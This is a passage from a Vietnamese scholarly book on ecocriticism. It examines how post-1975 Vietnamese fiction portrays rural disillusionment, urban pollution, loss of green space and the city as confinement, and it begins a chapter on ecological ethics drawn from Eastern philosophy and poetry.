ấy, tôi giao hết nhà cửa, vườn tược, xe bánh lốp, trâu dái nhờ thầy Đô nhà thơ
trông coi, và bán tống bán táng hộ” để đi tìm một cuộc sống đỡ vất vả hơn cuộc
sống của một người nông dân. Bố Lăng đã cực nhọc làm suốt đời mong con được
thay đổi kiếp sống “Cha tôi là thợ thùng đào thùng đấu, chuyên vượt đất san nền
thuê lấy tiền đóng học cho con trai. Mỗi hòn đất giá ngang một con chữ tôi học.
Một trăm hòn đất – một trăm con chữ. Một ngàn hòn đất – một ngàn con chữ…
Cha tôi bảo: “Có dễ tao phải vác một vạn hòn đất thì mày mới nên người”. Xót xa
quá. Thương cha. Tôi ứa nước mắt. Bao giờ tôi mới có một vạn chữ trong đầu?”.
Nhưng người cha chưa kịp hoàn thành mơ ước, ông đã chết vì mảnh chai đâm vào
chân khi đi vác thùng đấu và bị uốn ván. Còn Bống chị sau khi đi học ở Hà Nội đã
đánh đổi đời mình cho một ông chủ Đài Loan để được sung sướng, để mong thoát
khỏi kiếp sống lầm than nơi ruộng đồng.
Từ chối cái nhìn lí tưởng hóa về không gian thôn dã, văn xuôi sau năm 1975
đã xuất hiện một khuynh hướng “phản lãng mạn” về nông thôn. Có thể nói, một số
tác phẩm đã đem lại một cái nhìn khác, không đơn giản chỉ là trở về với những góc
cạnh hiện thực xù xì của đời sống, nó còn phản ánh cảm quan của thời đại. Việc
phá vỡ cái nhìn phiến diện, một chiều về đời sống nông thôn, giúp chúng ta nhận
chân được gương mặt của xã hội Việt Nam đương đại. Tinh thần “giải huyền
thoại”, “phản lãng mạn” của văn xuôi viết về nông thôn cho thấy một cuộc chia tay
buồn bã với những giá trị đã tiêu vong trong bối cảnh nền kinh tế thị trường, là cái
nhìn đầy phê phán vừa lạnh lùng vừa khắc khoải, lo âu.
4.2Nỗi bất an đô thị
Trong bài giảng Ecocriticism tại Viện Văn học vào tháng 3 năm 2011, Karen
Thornber khẳng định: “văn chương có ảnh hưởng quan trọng đến sự hiểu biết về
115
biến đổi môi trường trong quá trình đô thị hóa và công nghiệp hóa”1
. Theo quan
sát của bà nếu như thời kì đầu “có thiên hướng tập trung vào môi trường ngoại ô”
thì “vào khoảng năm 2000 phần nào đã có sự ưu tiên đối với khu vực đô thị và/
hoặc những nơi nổi bật quá trình công nghiệp hóa”2
.
Đô thị bức tử tự nhiên
Vấn đề này đã được Trần Tế Xương (trong Sông lấp) nói đến từ thế kỉ trước
(Sông kia rày đã nên đồng/ Chỗ làm nhà cửa chỗ trồng ngô khoai/ Vẳng nghe tiếng
ếch bên tai/ Giật mình còn tưởng tiếng ai gọi đò). Một không gian tinh thần đã bị
tiêu tán đi theo quy luật đời sống.
Đô thị hóa là một quá trình không cưỡng lại được của xã hội hiện đại, thế
nhưng mặt trái của quá trình ấy khiến chúng ta trở nên ưu tư, day dứt. Nó làm cho
không gian sống bị thu hẹp lại. Sâm cầm Hồ Tây (Sương Nguyệt Minh) là một lời
khẩn thiết với tự nhiên “Động hồ diễn ra cùng lúc với động phố, động làng. Hà Nội
bước vào thời mở cửa – thời của kinh tế thị trường, khi nhà nhà nhoai ra mặt
đường thì cũng là lúc người ta bổ ra mặt hồ. Chu vi hồ càng co lại, mặt hồ hẹp đi
thì nhà cao tầng của tư nhân mọc lên càng nhiều cùng với đủ loại kiến trúc hình
khối, vặn, cong… Lác đác có các khối nhà cao hàng chục tầng đội tầng xanh nhô lên.
Lối ngõ vào nhà hắn ra hồ, nhà cao tầng chen nhau đội mây khiến cái ngõ thành
ống cống, ngửa mặt mãi chẳng thấy trời xanh đâu”. Bà cụ Cần thương xót cho
những con chim sẻ, đời sống khó khăn, đất đai thu hẹp dần những chú chim sẻ mất
nơi trú ẩn, mất nguồn sống: “Đồng ruộng trong xu thế đô thị hóa đang thu hẹp
dần, nhường chỗ cho đường sá và các khu công nghiệp. Thóc gạo hiển nhiên sẽ
chẳng còn dư dật” (Bà cụ Cần và đàn chim sẻ, Ma Văn Kháng). Làng Hạ ngoại thành
ven sông Tô Lịch bị “kìm nén ẩn ức”, mảnh vườn quanh nhà bị thu hẹp lại, san sát
mọc lên những ngôi nhà (Khách đến Nha Trang, Hoàng Minh Tường).
Những hoạt động của công nghiệp và đô thị phải trả giá bằng việc đánh đổi
những cánh đồng trù mật “mấy cánh đồng mỡ màu, toàn bờ xôi giếng mật của xã lại
cho xây khu công nghiệp” (Kí sự làng, Đỗ Nhật Minh), “Tôi cứ tiếc ngẩn tiếc ngơ. Làng
xóm đang đông vui, đồng màu đang tươi tốt bỗng thành tan hoang, đồng không mông
quạnh. Thế có phí phạm không?” (Bà già ở bãi ông Cậu, Đỗ Nhật Minh). Đôi khi kéo

1
Thornber K. (2011), Ecocriticism, Tài liệu thuyết trình tại Viện Văn học
2
Thornber K. (2011), Ecocriticism, Tài liệu thuyết trình tại Viện Văn học
116
theo sự suy giảm của môi trường tự nhiên. Suy giảm của môi trường sống được đặt ra
ở Cánh đồng bất tận qua đôi dòng cảm nhận của Nương: “Những cánh đồng trở
thành đô thị; những cánh đồng ngoa ngoắt thay đổi vị của nước, từ ngọt sang mặn
chát (…), đã hất hủi cây lúa (và gián tiếp từ chối đàn vịt). Đất dưới chân chúng tôi thu
hẹp dần”. Trong Chuyến đi cuối năm (Đỗ Chu), nhà khoa học nghiên cứu về chim than
phiền cuộc sống bây giờ chẳng thấy tiếng chim, chỉ thấy mấy con ruồi là nhắc nhở
chúng ta về nguy cơ sinh thái: “Những chú ruồi chốc chốc lại lao thẳng vào mặt anh
như những chiếc máy bay thần phong hồi thế chiến thứ hai, chúng nó muốn nhắc nhở
với anh rằng hiện trạng sinh thái nơi đây rất đáng lo ngại… Chỉ có tiếng chim là thiếu.
Im ắng quá. Làng xóm giờ vắng vẻ tiếng chim hót”.
Con người còn bức tử tự nhiên bằng những cách thức thiếu văn minh. Sự suy
giảm môi trường sống ở đô thị biểu hiện ở những dòng sông đầy rác, những con kinh
đen ngòm… Sông Di đã bị biến dạng thành những dòng đen ngòm đầy rác rưởi “sông
Di khác xa những miêu tả của ông sếp cậu. Sông ngờ nghệch không thể nhận ra là
nước đang chảy nếu không có những váng rêu nhớt phập phều. Đã vậy chợ Bình Khê
còn kẹp cổ nó giữa dãy nhà cao cẳng tẹp nhẹp. Chỗ có tên là bến Lở mà chị Ánh đã
từng rửa chân, giờ là bãi rác nửa chìm nửa nổi” (Sông, Nguyễn Ngọc Tư). Khu tập thể
của gia đình thuyền trưởng Trần Bôn trong Biển và chim bói cá là một không gian phố
chật hẹp với tình trạng ô nhiễm môi trường đáng báo động của “dòi, phân, rác, khói
than tổ ong” cùng với đó là sự thiếu ý thức của con người “Kinh khủng nhất là những
thứ rác rưởi cứt đái lưu cữu trên mặt nền phía dưới. Ở đó lúc nào nước cũng xăm xắp.
Có lần về nhà, Trần Bôn suýt bị cả một bô cứt của Khoa, kĩ sư phòng kĩ thuật trên tầng
ba hắt xuống trúng đầu”. Bẩn thỉu do môi trường đô thị chật hẹp lại nghèo khổ phải
tìm mọi cách để mưu sinh nuôi lợn trên tầng thượng khu dân cư, mùi mắm làm không
khí ô nhiễm, chất thải của người và động vật làm không gian sống bị ô nhiễm. Trong
khi đó lại thiếu hoàn toàn các hệ thống cơ sở hạ tầng đô thị: “Mặt tường phía sau nơi
khu phụ mới thật thảm khốc. Cống thoát nước tắc. Nước sinh hoạt tràn từ tầng ba
xuống tầng hai, từ tầng hai xuống tầng một… vấn nạn hố xí tự hoại đã thành hố xí tự
hại. Nước thiếu. Hệ thống bơm nước hỏng từ thời nảo thời nào”. Hằng ngày, con
người phải sống trong không gian phố với những vấn nạn môi trường đáng báo động
của tình trạng ô nhiễm sinh thái. Xóm nghèo trong truyện Chim phóng sinh (Nguyễn
Hồ) “sống trên kinh nước đen”, “trong con hẻm ngoằn ngoèo ẩm thấp và có mùi hôi
khó chịu từ phía bờ kinh đen Nhiêu Lộc”, “môi trường đen”… Tình trạng ô nhiễm môi
117
trường tạo nên những “làng ung thư”, trong các mẫu đất có “hàng chục loại hóa chất
nguy hại cho sức khỏe… vượt quá giới hạn cho phép từ vài chục đến hàng trăm ngàn
lần”, “các nhà máy hóa chất đặt trên thượng nguồn các dòng sông” nhưng vẫn không
có cách nào giải quyết được, đành “đưa vào mình một lượng thuốc độc, y như tự sát
một cách thầm lặng” (Dòng sông chết, Thiên Sơn).
“Phát triển thật ra chẳng hơn gì một huyền thoại được truyền bá dưới lớp mặt
nạ của hiện đại hóa, tái thiết lập mối bất hòa/sự đứt gãy (về xã hội, kinh tế, chính trị)…
mà nó từng tuyên bố là muốn hàn gắn”1
. Nguyễn Trí, Nguyễn Ngọc Tư, Nguyễn Hồ,
Hoàng Minh Tường, Đỗ Nhật Minh… đã phơi bày cho chúng ta thấy “huyền thoại được
truyền bá dưới lớp mặt nạ của hiện đại hóa” đã đẩy người nông dân đến cảnh khốn
cùng như thế nào. Bức tử tự nhiên, không có đất đai để sinh sống và lao động, từ đó
nảy sinh nhiều vấn đề của đô thị mà người nghèo phải gánh chịu. Sự bất công môi
trường thể hiện qua những tác phẩm viết về đất đai, thực chất của việc phát triển đã
đẩy người nông dân ra khỏi mảnh đất của mình, không có việc làm dẫn tới thất nghiệp
và kéo theo sau đó là những hệ lụy xã hội: mại dâm, ma túy… Nguyễn Trí cho chúng ta
thấy một bộ mặt khác của những khu đô thị “Thằng dân chõi này, chẳng qua dân chõi
xóm nhà lá. May đời, nhà nằm trong vùng công nghiệp, cha mẹ chân lấm tay bùn. Sau
giải tỏa đền bù, phất lên, bỏ ruộng vườn xây phòng trọ. Đua đòi ăn chơi, xe tay ga, tình
tự theo kiểu tiền trao cháo múc” (Trại viên cũ trở lại đông lắm). Cái giá phải trả của
những cạm bẫy đô thị là làng Hạ “trăm rưởi nóc nhà, ba sáu cái biệt thự, mười một đứa
bị nghiện hút, tám đứa vào nhà đá, ba đứa dính “ết” phải đi Văn Điển” (Khách đến Nha
Trang, Hoàng Minh Tường). Chưa kể, khi giải tỏa, đất như một tài sản có giá trị kinh tế
dẫn tới cha con, vợ chồng, anh em tranh dành, đối xử tàn nhẫn, đâm chém lẫn nhau,
không nhìn mặt nhau. Truyện của Nguyễn Trí (Hảo hớn, Chân mình thì mình đứng…),
Hoàng Minh Tường (Ngọc đất), Đoàn Lê (Đất xóm Chùa) đã nhận chân sự thực đáng
báo động đó.
Phát triển đô thị đi kèm với “những mảng xanh trong thành phố” bị thu hẹp
nhỏ lại. Đô thị lấn át đi không gian cây xanh. Cây đa hàng trăm năm tuổi bị đốn “làng
đã lên phố, không thể để cây đa – nhà quê trơ trơ như vậy được, trông chướng mắt,
chẳng còn văn minh đô thị” (Phố làng, Đỗ Nhật Minh). Nguyễn Minh Châu sớm nhận
ra vấn đề không gian đô thị sẽ xâm hại đến không gian cây xanh. Việc cây sấu – một cái

1 Manes C. (1996), “Nature and Silence”, The Ecocriticism Reader: Landmarks in Literary Ecology edited by
Cheryll Glotfelty and Harold Fromm, University of Georgia Press, p 25
118
cây cổ thụ ở cái ngõ nhỏ, chứng kiến bao thăng trầm của lịch sử, gắn bó với những số
phận, mỗi tâm hồn bị chặt đi để xây dựng “khu dân cư điển hình đẹp đẽ nhất Hà Nội”.
Khi người ta đốn hạ cây sấu, người ta coi nó như vật vô tri, coi nó là những món lợi
cho những toan tính ích kỉ của con người (làm củi, làm mặt ghế, cánh cửa tủ…) mà
không nhận ra được những tầng văn hóa của cây xanh tỏa bóng, hạ cây sấu là cũng
xóa luôn một chứng tích lịch sử của thủ đô kiêu hùng kháng Pháp. Cây sấu bị chặt đi
để lại trong lòng bác một khoảng trống không gì có thể lấp được “Đối với ông lão, dù
có xây cả một dãy phố hàng chục tầng, cũng không lấp nỗi cái khoảng trống ấy”.
Khi đô thị phát triển, dễ nhận thấy con người “bị tách khỏi các điều kiện tự
nhiên”, sống trong “rừng thành thị”, giữa những không gian đầy nhân tính, “vô
động vật”. Đô thị đã đẩy con người ngày càng trượt xa khỏi tự nhiên. Con chim
gốm trong truyện ngắn Con trắm đen của Trần Trung Chính nhắc nhở về một tự
nhiên đầy giả tạo, thành phố đã vắng bóng chim chỉ còn những tiếng chim gốm.
“Bầy trẻ con của phố ngậm những con chim gốm đua nhau rúc khắp mọi nhà.
Những ngày đó tiếng chim gốm reo từ ban mai, có thể làm ai đó giật mình nhớ ra
rằng thành phố này đã từng có những con chim chuyền dưới các tán lá xanh. Tiếng
chim đánh thức một cách khiên cưỡng những câu chuyện cổ tích lỗi thời. Những
con chim gốm sống sót, được tha thứ, do chúng không giành thức ăn với người và
chúng đủ khôn để chẳng chịu hầu rượu một ai cả”. Con chim gốm đó cũng nhắc
nhở con người về sự thực dụng, con người nhìn thiên nhiên như là những giá trị
kinh thế (món ăn) mà không thấy giá trị trinh thần trong mỗi sinh linh.
Coi tự nhiên như một món lợi, rời bỏ tự nhiên là rời bỏ chiều sâu của giá trị
tinh thần của đất đai, không gian sống như là sự gắn bó, là nguồn cội gốc rễ. Cội mai
lưu lạc (Quế Hương) viết về khu vườn năm mươi gốc mai đủ dáng vẻ khoe sắc cả một
vùng Mai Gia Trang lập từ thời cụ tổ “Cụ vốn là người yêu mai, về quan chỉ bạn cùng
mai, lúc chết trối độc một chữ “mai”… “học cái đức lớn trong hồn hoa nho nhỏ”.
Những trí thức Tây học bức tử vườn mai. Đối với họ niềm yêu qu{ cây mai là tư
tưởng Đông phương cổ lỗ và kì quái “Họ thấy ở Mai gia trang cái gì cũng gò bó, cổ hủ
lạc hậu. Họ ghét cả loài hoa ám ảnh họ tộc đã mấy đời…”. Chi tiết này như một hàm ý
vênh lệch về ý thức hệ trong việc đối xử với tự nhiên. Các nhà phê bình sinh thái
thường nhắc nhở chúng ta về việc chúng ta nghĩ về tự nhiên như thế nào thì chúng ta
hành xử với tự nhiên như thế. Điều đó đúng trong trường hợp này. Niềm yêu với cây
cỏ của cụ cố, của ông ngoại, của người hàng xóm đã gìn giữ cái đẹp của tự nhiên.
119
Nhưng khi con người rời xa cội rễ gắn bó hòa hợp với cây cỏ, ngay lập tức, cây cỏ bị hạ
sát. Những con người hiện đại ấy, sống bằng những giá trị vật chất không bao giờ hiểu
được giá trị vô hình của những số phận tự nhiên với đời sống của mình. Họ sẽ hủy
hoại thiên nhiên để xây dựng một không gian đầy nhân tạo: “Chặt cút phần trên rồi
mà phần dưới tỉnh bơ, rễ bò tứ tán, tới tận thềm, chui dưới nền nhà… Chừ chặt rồi,
bới rễ cũng mệt, hỏng luôn cả vạt sân tráng xi-măng”. Cây cối bị đuổi khỏi đời sống
của con người vì những lí do rất giản đơn – làm hỏng cái nền sân xi măng. Xi măng là
một chất liệu đầy tính nhân tạo, biểu hiện cho cuộc sống đô thị. Để phát triển đô thị,
mải chạy theo những lợi ích vật chất, con người ta tàn sát tự nhiên: “Chừ đất là vàng.
Vườn nào rộng xẻ bán, xây nhà, mở quán còn hơn trồng cái thứ chỉ hữu dụng mấy
ngày xuân!”.
Thiên nhiên là một phần quan trọng trong cuộc sống tinh thần của con
người. Nếu không biết bảo vệ, giữ gìn nó thì dần dần con người sẽ đánh mất chính
cả bản thân mình “Một thảm họa của tâm hồn con người,- cây si nói, – các cặp trai
gái ngày nay vừa cưới xong đã thấy chán nhau. Cây cơm nguội và cây bằng lăng
không tán thành nhận định của cây si nhưng lại cùng với đại biểu ra lời kêu gọi các
thanh niên ngày nay hãy có đầu óc tưởng tượng phong phú hơn nữa” (Sống mãi
với cây xanh, Nguyễn Minh Châu). Thiên nhiên nuôi dưỡng tâm hồn, trí tưởng
tượng của con người. Khi đời sống đô thị càng văn minh, hiện đại, con người
dường như lãng quên thiên nhiên và đánh mất tâm hồn “Chúng ta quên vai trò
chủ yếu của thiên nhiên trong sự sinh tồn của mình”. Trong đời sống đô thị hóa,
mối quan hệ giữa con người và thiên nhiên trở nên phai nhạt. Con người nhiều khi
say mê tìm kiếm cuộc sống vật chất mà quên mất những giá trị tinh thần mà thiên
nhiên mang lại. Chính vì thế Nguyễn Minh Châu mới đưa ra triết l{ “Chinh phục
thiên nhiên? Đúng, đời sống loài người là một chuỗi dài quá trình chinh phục thiên
nhiên, nhưng cũng thật là thiếu thỏa đáng và thậm chí nguy hiểm nếu không nghĩ
đến công việc hòa hợp với thiên nhiên”. Sự thức tỉnh tinh thần sinh thái trong sáng
tác Nguyễn Minh Châu sau năm 1975 thể hiện tính tiên phong của nhà văn với
những vấn đề của thời đại.
Đô thị là không gian giam cầm
Trong công trình nổi tiếng Vườn thú người, Desmonnd Morris đã đưa ra một
giả thiết nhiều tranh cãi. Ông hình dung đô thị, nơi con người đang sống là một dạng
vườn-thú-người “Con vật người hiện đại không còn sống trong các điều kiện tự nhiên
120
đối với loài của nó. Bị giam hãm không phải do những người sưu tập vườn thú mà do
chính cái trí óc xuất chúng của mình, con người đã tự nhốt bản thân vào trong một
bầy thú nuôi nhốt khổng lồ luôn hoạt động không ngừng nghỉ, nơi nó thường xuyên bị
tổn hại do căng thẳng”1
. Cảm giác này được nhìn nhận rất rõ qua cách nhìn của lão
Khúng về thành phố bức bối. Nhà văn mô tả cái ngột ngạt của khu phố qua con mắt
của lăo nông dân từ “quê ra”, một người sống tự do hồn nhiên giữa núi non: “Ừ cũng
lạ thật cái anh dân thành phố, sống như thế này mà cũng sống được, chẳng có vườn
tược, chẳng có cây cối, ăn, ở, ỉa, trên đầu nhau, chỉ thấy tường là tường”. Quen gắn
bó với mảnh đất hoang sơ mênh mông nhưng thân thuộc cho nên khi bước vào thành
phố lão lấy làm lạ. Lão Khúng chính là hiện thân của tự nhiên, của bản tính hoang dã
không thể nhận diện được cái thành phố không có một sự đánh dấu bản sắc nào,
khiến lão “lạc lung tung”, “hết leo lên tầng thượng đỉnh lại lộn xuống tầng dưới cùng”.
Mỗi nhà là một cái chuồng nhỏ và cả khu phố là một cái chuồng lớn bủa vây lấy lão
khiến lão ngột ngạt, hoảng loạn. Chuyến đi ấy đã khiến lão Khúng mơ hồ cảm nhận
được sự bất ổn của không gian đô thị: “Toàn thân lão run lẩy bẩy như người lên cơn
sốt và trong tâm hồn lão tự dưng dâng lên một nỗi niềm cô độc”. Chúng ta thừa nhận
rằng Nguyễn Minh Châu là người rất giỏi đưa ra dự cảm “niềm hi vọng đầy lo âu vào
tương lai đô thị hóa”. Ông sớm nhận ra sự hấp dẫn của đô thị với những người trẻ
tuổi. Trong nhiều trang viết, nhà văn đã thể hiện niềm khao khát của các nhân vật về
các khu công nghiệp (những thăm dò địa chất mà cô kĩ sư Loan và dự án của chàng kĩ
sư – người yêu cũ của mụ Huệ) hay ánh sáng đô thị hấp dẫn mở ra khi những đứa con
của lăo Khúng xuống Vinh để bán những sọt cà chua… Dũng – cậu con trai cả lên thành
phố tìm người cha đẻ người thành phố cũng như là một biểu tượng cho hành trình
tìm đến đô thị. Nhưng lão Khúng thì khác, lão sống giữa đất đai cây cỏ chan hòa nên
cảm thấy cô độc giữa thành phố, giữa rất nhiều người. Trong không gian tù hãm của
đô thị, con người sống giữa đồng loại nhưng lại coi đồng loại như những kẻ dành lấy
miếng ăn của mình. Niềm cô độc mà lão Khúng cảm nhận đã chạm vào chính xác cái
cảm thức đô thị. Do vậy, lão bỗng nhiên lo sợ cho những đứa con của lão, những đứa
trẻ nông thôn lúc nào cũng mơ về thành phố với một không gian tràn đầy ánh sáng.
Văn minh đô thị có một sức hấp dẫn sẽ kéo những người trẻ đến đó mà có lẽ là một
quy luật không thể cưỡng lại được nhưng lão cũng sớm nhận ra những bất ổn của đô

1 Desmond Morris (2011), Vườn thú người, Vương Ngân Hà dịch, NXB Công ty Văn hóa và Truyền thông Nhã
Nam, NXB Dân Trí, Hà Nội, tr 16.
121
thị. Khi đứa con gái hốt hoảng từ thị trấn về, lão Khúng đã cảm giác đầy âu lo “Bây giờ
con người đã đông hơn con vật, sắt thép đã đông hơn cây cối, vậy mà lão lúc nào cũng
nơm nớp”. Đúng là càng văn minh, con người càng nhiều âu lo hơn “Y như thể ngày ấy
mặt đất đâu đâu cũng là rừng rú, người thì ít lác đác (…) ấy thế mà cái sợ lại không
nhiều như bây giờ, con người ta sợ nhau nhiều hơn là sợ beo trăn, cọp hổ”.
Hiền (Tiếng rừng- Hiền Phương) bị bao bọc bởi “phòng the văn minh” của
thành phố ngột ngạt “Tôi bước vào căn phòng. Mùi văn minh thành phố khiến tôi
lợm giọng – cái mùi trước đây mang lại cho tôi bao nhiêu mãn nguyện. Đêm đêm,
một nỗi buồn mênh mang từ nơi sâu thẳm nào kéo đến. Ôi cuộc sống này, một
cuộc sống thật to lớn, thật hoàn hảo, nhưng lại quá nghèo nàn đối với tôi. Chẳng
làm sao hiểu được nữa, nó không có tình yêu chiếu sáng, nó đặt người ta trong căn
phòng hình hộp như nằm trong ngôi mộ”. Cô luôn có một cảm giác thiếu vắng một
khoảng không mênh mông của rừng khác hẳn nơi tù đọng “Căn phòng quá đẹp,
quá dịu với những tia ánh sáng mong manh. Một nỗi niềm gì đó bóp nghẹt trái tim
tôi. Hình như thiếu vắng một khoảng không nào đấy. Cái khoảng không khác hẳn
với sự tù đọng này”. Cụ Tổ (Đi qua đồng năn, Sương Nguyệt Minh) không chịu
được sự ngột ngạt, nặng nề của ngôi mộ bằng bê tông, thà để linh hồn đi lang
thang khắp đồng bãi là một nhắc nhở về cuộc sống tù hãm khi bị cách trở với tự
nhiên.
***
Cảm hứng chủ đạo của phê bình sinh thái là cảm hứng phê phán. Phê bình
sinh thái chỉ ra căn nguyên của những thảm họa môi trường hiện nay xuất phát từ
tư tưởng thống trị tự nhiên, tự coi mình là chúa tể, khai thác, chiếm đoạt, chém
giết, đối xử bất nhẫn, vô trách nhiệm mà không chú ý tới phát triển bền vững. “Con
người là loài mang món nợ sinh thái lớn nhất”1
. Cảm hứng phê phán đó gắn liền
với ý thức về con người “tội đồ”, vừa cho mình thái độ làm chủ trái đất, lại là một
ông chủ thiếu trách nhiệm, khiến cho trái đất ngày càng kiệt quệ. Đương nhiên,
điều đó dẫn tới việc con người sẽ bị gánh chịu hậu quả nặng nề của biến đổi khí
hậu, thiên tai, mất cân bằng sinh thái, khi con người phá hủy môi trường tự nhiên
là phá hủy cuộc sống chính mình. Điều đó không chỉ thể hiện qua những thảm họa

1
Rigby K. (2014), Chapter 7: “Ecocritisim”, Introducing Criticism at the Twenty -First Century, Edinburgh UP, Đặng Thị
Thái Hà dịch, Phụ lục luận văn Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm của Nguyễn Huy Thiệp, Nguyễn
Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội
122
thiên tai mà đáng sợ hơn, sự biến mất của thiên nhiên khiến cho con người đánh
mất tinh thần, đánh mất tâm hồn, đánh mất kí ức, đánh mất quá khứ… Trong hành
trình bóc lột tự nhiên, con người trở thành tha hóa, gian manh, xảo quyệt, áp bức
lẫn nhau, đối xử bất công với phụ nữ, với những người ở thế yếu. Trong hành trình
trở về nông thôn, con người mất đi chỗ dựa bình yên, thanh thản, nơi đó đã bị xâm
lấn bởi nền kinh tế thị trường, cũng trở nên bất an và nghèo đói. Con người cũng
chẳng an tâm với đô thị, nơi được coi là biểu hiện cho sức mạnh, trí tuệ của loài
người, bởi vì nơi này, thiên nhiên đã đi xa, để con người lại, “trần trụi” giữa “rừng
bê tông”, bị giam hãm giữa máy móc và sự cỗi cằn.
Vậy nên, con người cần nhận thức lại niềm kính sợ với sinh mệnh tự nhiên,
nhận ra sự mong manh của sinh tồn trên toàn bộ hành tinh, nếu không, chính cuộc
sống của chúng ta sẽ trở nên bất an hơn bao giờ hết.
123
Chương 4
KIẾN LẬP CẢM QUAN ĐẠO ĐỨC SINH THÁI
1. SỰ TRỞ LẠI VÀ NỐI DÀI DIỄN NGÔN LÃNG MẠN VỀ TỰ NHIÊN
1.1 Tiền đề từ các diễn ngôn phương Đông
Khởi phát của phê bình sinh thái là tính phê phán. Trong khi phát triển lí
thuyết của mình, các nhà phê bình sinh thái nhận ra, chỉ có tính phê phán không đủ
để xây dựng một lí thuyết toàn diện về phê bình sinh thái. Cần có những bổ khuyết
trên hành trình hoàn thiện ấy. Để điều chỉnh mối quan hệ giữa con người và thiên
nhiên, một số học giả sinh thái sử dụng diễn ngôn truyền thống để tạo ra một diễn
ngôn khác, ví như việc tìm về những tư tưởng Đông phương để tái thiết đạo đức
sinh thái. Mặc dù, Karen Thornber cho rằng tình yêu thiên nhiên trong văn học Đông
Á là một diễn ngôn mơ hồ ẩn dấu sau đó nhiều hư ngụy dẫn tới những bất công. Tuy
nhiên, “cảm quan nhìn lại” giúp phê bình sinh thái tìm thấy trong các diễn ngôn
truyền thống những { hướng để phát triển phê bình sinh thái. Quay sang tư tưởng,
tôn giáo, triết học, văn học phương Đông, phê bình sinh thái hi vọng có thể tìm ra
phương pháp giải quyết nguy cơ sinh thái, trở về với văn học lãng mạn để trân quý
tình yêu hồn nhiên với vạn vật trong tự nhiên.
Từ xa xưa, người phương Đông biết tựa vào tự nhiên để sống. Hầu hết các
nền văn minh Lưỡng Hà, Ấn Độ, Trung Hoa đều nảy sinh trên những dải đất dựa
vào bồi đắp phù sa của các con sông. Nguồn gốc văn hóa nông nghiệp khiến con
người học cách sống hài hòa với thiên nhiên, thấy mình là một phần không thể
thiếu của tự nhiên thanh sạch, thuần khiết. Điều này ánh xạ vào tôn giáo, triết học
rồi đi vào văn chương. Đứng trong nguồn mạch chung, thiên nhiên là một mạch
ngầm xuyên suốt của văn học phương Đông từ xưa đến nay.
Trong tâm thế của người phương Đông, ta thấy một tình yêu với sinh mệnh
tự nhiên sâu nặng. Trên khắp các trang văn, không chỉ có vẻ đẹp của cảnh vật mà
còn có một tấm lòng tha thiết với nó. Đó là tình yêu vĩnh cửu với thiên nhiên vô tận,
từ vẻ đẹp tráng mĩ, hùng vĩ của núi cao vực sâu, tới vẻ giản dị, gần gũi của nhành
hoa, ngọn cỏ, con cò, con ếch, con dế… Mỗi tâm hồn Đông phương đều đồng cảm
trước tấm lòng nghe thấy tiếng gió mưa ngoài cửa mà xót xa cho thân phận mỏng
manh của cánh hoa rơi rụng (Dạ lai phong vũ thanh/ Hoa lạc tri đa thiểu – Nửa đêm
nghe tiếng mưa/ Hoa rụng nhiều hay ít – Mạnh Hạo Nhiên); đều xem thiên nhiên
như là người tri kỉ (Cử bôi yêu minh nguyệt/ Đối ảnh thành tam nhân – Nâng chén
124
mời trăng sáng/ Mình với bóng là ba – Lí Bạch), như là gia đình thương mến (Cò nằm
hạc lẩn nên bầu bạn/ Ấp ủ cùng ta làm cái con – Nguyễn Trãi) ; đều nâng niu vẻ đẹp
giao hòa giản dị của thiên nhiên bình dị (Một cành bìm bìm hoa tía/ Quấn quanh cây
cầu/ Ta sang hàng xóm xin nước thôi – Chiyo), đều xúc động trước những sự việc rất
tầm thường của vạn vật (Lá chuối xanh trôi/ Một con ếch nhỏ/ Run run đang ngồi –
Kikaku)… Bước sang thế kỉ 20, người đọc vẫn nhận ra cốt cách gần gụi thiên nhiên
của tâm hồn Đông phương trong các tác phẩm dù cho trong dòng chảy hợp lưu
Đông – Tây, người phương Đông phần nào đã bỏ rơi thiên nhiên (mải chạy theo
những vấn đề thời thượng của cõi người như tính dục, thân thể, đạo đức, phê phán
xã hội….). Nhưng niềm ưu ái với thiên nhiên có lẽ chưa bao giờ ngừng trong văn
chương phương Đông từ cổ xưa đến hiện tại, nó vẫn âm ỉ chảy trong một dòng
mạch thông suốt. Bằng chứng là, qua các tác giả đạt giải Nobel như Kawabata hay
Mạc Ngôn với một tâm thế phương Đông rất nặng, “thiên nhiên cũng có sinh mệnh
riêng của nó”1
, người đọc vẫn thấy những cánh đồng trù mật, những rặng núi mù xa,
những vườn anh đào, những dòng sông thao thiết chảy qua những trang văn.
Thiên nhiên còn là nơi cứu rỗi tâm hồn Đông phương. Sự sinh tồn của con
người không thể tách khỏi trời đất, hành vi con người cũng tương thông, nhất trí với
sự vận hành của trời đất : “Con người là sản vật của tự nhiên, cũng là một phần của tự
nhiên, mà sự sinh tồn và phát triển của con người là lấy các điều kiện vật chất do tự
nhiên cung cấp làm tiền đề”
2
bởi vậy, học cách sống hài hòa, phù hợp với quy luật
phát triển sẽ khiến cho con người cảm thấy hạnh phúc. Đạo gia coi trọng sự thuần
phác, tự nhiên. Triết lí “vô vi” của Lão tử nghĩa là “không làm gì” trái với tự nhiên
(Đạo). Lão – Trang chủ trương xa rời những hệ lụy của cõi đời, sự phiền nhiễu của ý
chí, dục vọng để được tự do, tự tại trong bản chất tự nhiên thuần phác. Kêu gọi về với
thiên nhiên là một phương cách để nuôi dưỡng cái bản tính tự nhiên thuần phác đó
(Đạo pháp tự nhiên). Do vậy ứng xử của các nhà Nho truyền thống là “dụng chi tắc
hành, xả chi tắc hàng” (Dùng thì ta hành đạo, không dùng thì ta quy ẩn). Quy ẩn bằng
cách trở về với thiên nhiên để tìm lại sự bình an, tĩnh tại, tự do. Thiên nhiên trở thành
điểm tựa tinh thần trong cơn bĩ cực. Thiên nhiên nuôi dưỡng cái phần thiên tính chất
phác của con người khỏi những phồn tạp, tị hiềm, ganh ghét, trói buộc chốn quan
trường. Đối với kẻ sĩ phương Đông, có lẽ tiền tài, danh vọng, chức tước không phải là

1
“Văn học phải làm cho con người tin nhau hơn” (Đối thoại đầu năm giữa Oe Kenzaboko với Mạc Ngôn), Báo Văn
nghệ, Số 12 (23/03/2002), tr 5.
2Nguyễn Thị Bích Hải (2006), Thi pháp thơ Đường, NXB Thuận Hóa, Huế, tr 215.
125
mục đích của sự sống, mà việc con người trở về với cõi thiên nhiên, với bản thể của vũ
